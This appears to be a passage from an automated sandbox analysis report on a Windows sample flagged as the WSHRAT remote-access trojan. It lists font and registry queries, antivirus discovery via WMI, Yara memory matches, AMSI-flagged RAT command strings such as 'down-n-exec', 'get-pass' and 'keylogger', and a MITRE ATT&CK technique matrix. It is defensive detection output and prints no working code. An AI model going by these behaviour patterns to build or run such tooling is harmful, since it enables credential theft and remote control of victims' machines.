Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\flat_officeFontsPreview.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\OFFSYM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\OFFSYMSL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\OFFSYMSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\OFFSYMXL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\OFFSYML.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\OFFSYMB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JaG.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: wscript.exe, 00000003.00000002.2596806001.000001E9CD34B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000003.00000003.1682858553.000001E9CD346000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000008.00000002.2595948700.000001F85FBE8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000008.00000002.2596539768.000001F861C6E000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct
Source: C:\Windows\System32\wscript.exe	WMI Queries: IWbemServices::ExecQuery - root\securitycenter2 : select * from antivirusproduct

Stealing of Sensitive Information

Yara detected WSHRAT

Source: Yara match	File source: amsi64_8076.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_5872.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_480.amsi.csv, type: OTHER
Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 00000003.00000002.2596806001.000001E9CD392000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2596539768.000001F861CCB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.1356330407.000001E9CB43A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2596539768.000001F861CA6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1644848582.000001B7E7D1E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.1564044312.000001F85FE1A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1640855197.000001B7E608A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.1355744491.000001E9CD449000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2596806001.000001E9CD36D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.1682858553.000001E9CD36D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1640525306.000001B7E7D1E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.1558907071.000001F861D89000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2596948186.000001F861D89000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2596539768.000001F861C6E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2597045534.000001E9CD449000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2595876491.000001E9CB221000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.1356488425.000001E9CD449000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1640874613.000001B7E7D1E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2595948700.000001F85FBE8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1645277445.000001B7E5E20000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1640631442.000001B7E7D1E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.1564280890.000001F861D89000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1645147466.000001B7E5D80000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 8076, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 5872, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 480, type: MEMORYSTR

Remote Access Functionality

Detected WSHRat

Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: Suspicious string up-n-exec
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: Suspicious string get-pass
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: Suspicious string down-n-exec
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: Suspicious string keylogger
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: Suspicious string take-log
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: Suspicious string up-n-exec
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: Suspicious string get-pass
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: Suspicious string down-n-exec
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: Suspicious string keylogger
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: Suspicious string take-log
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: Suspicious string up-n-exec
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: Suspicious string get-pass
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: Suspicious string down-n-exec
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: Suspicious string keylogger
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: Suspicious string take-log

Yara detected WSHRAT

Source: Yara match	File source: amsi64_8076.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_5872.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_480.amsi.csv, type: OTHER
Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 00000003.00000002.2596806001.000001E9CD392000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2596539768.000001F861CCB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.1356330407.000001E9CB43A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2596539768.000001F861CA6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1644848582.000001B7E7D1E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.1564044312.000001F85FE1A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1640855197.000001B7E608A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.1355744491.000001E9CD449000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2596806001.000001E9CD36D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.1682858553.000001E9CD36D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1640525306.000001B7E7D1E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.1558907071.000001F861D89000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2596948186.000001F861D89000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2596539768.000001F861C6E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2597045534.000001E9CD449000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2595876491.000001E9CB221000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.1356488425.000001E9CD449000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1640874613.000001B7E7D1E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2595948700.000001F85FBE8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1645277445.000001B7E5E20000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1640631442.000001B7E7D1E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.1564280890.000001F861D89000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.1645147466.000001B7E5D80000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 8076, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 5872, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: wscript.exe PID: 480, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	421 Scripting	Valid Accounts	11 Windows Management Instrumentation	421 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	OS Credential Dumping	2 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	111 Process Injection	4 Obfuscated Files or Information	LSASS Memory	12 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	121 Registry Run Keys / Startup Folder	121 Registry Run Keys / Startup Folder	1 Software Packing	Security Account Manager	231 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	1 Remote Access Software	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	3 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
